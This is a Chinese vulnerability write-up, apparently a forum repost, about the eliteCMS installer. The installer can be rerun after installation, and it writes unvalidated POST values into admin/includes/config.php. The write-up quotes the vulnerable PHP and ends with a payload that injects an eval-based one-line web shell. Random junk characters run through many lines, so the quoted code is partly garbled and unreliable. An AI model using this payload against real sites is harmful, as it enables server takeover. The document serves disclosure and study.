eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

0 n9 y8 g. q- N# ?3 v另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
& R8 `3 b* A+ [, u: B
...
8 m1 }( ^+ Q# _+ pelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
( A" I' u* H2 {) o; z) f( p    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% {! G. O5 v( S  _  {$ s...略...
8 W' `4 n0 I  o5 I3 {    $write .= "*\n";
* T' V* x: F6 K    $write .= "*/\n";
    $write .= "\n";
% Q& i$ R6 N/ @    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( F& G4 q, w# O/ u5 ?4 V    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
6 l, D: d9 d& x5 i    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
& y" x9 D0 k8 k% P+ d    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
! z) A" Y+ B$ j  L* M    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
5 X4 r  }  y5 j1 Y    $write .= "?>\n";

    $writer = fopen($file, 'w');
...
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在看代码：

+ y) r1 ~9 [  M1 e1 N0 P$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! g3 z6 a/ G/ s$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
* ^$ o& s! A  Q6 Y$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 {7 b" X4 T' b, M
' M! O. I0 H; J9 z1 i3 v取值未作任何验证
  I7 E  s& `/ d3 f% R如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php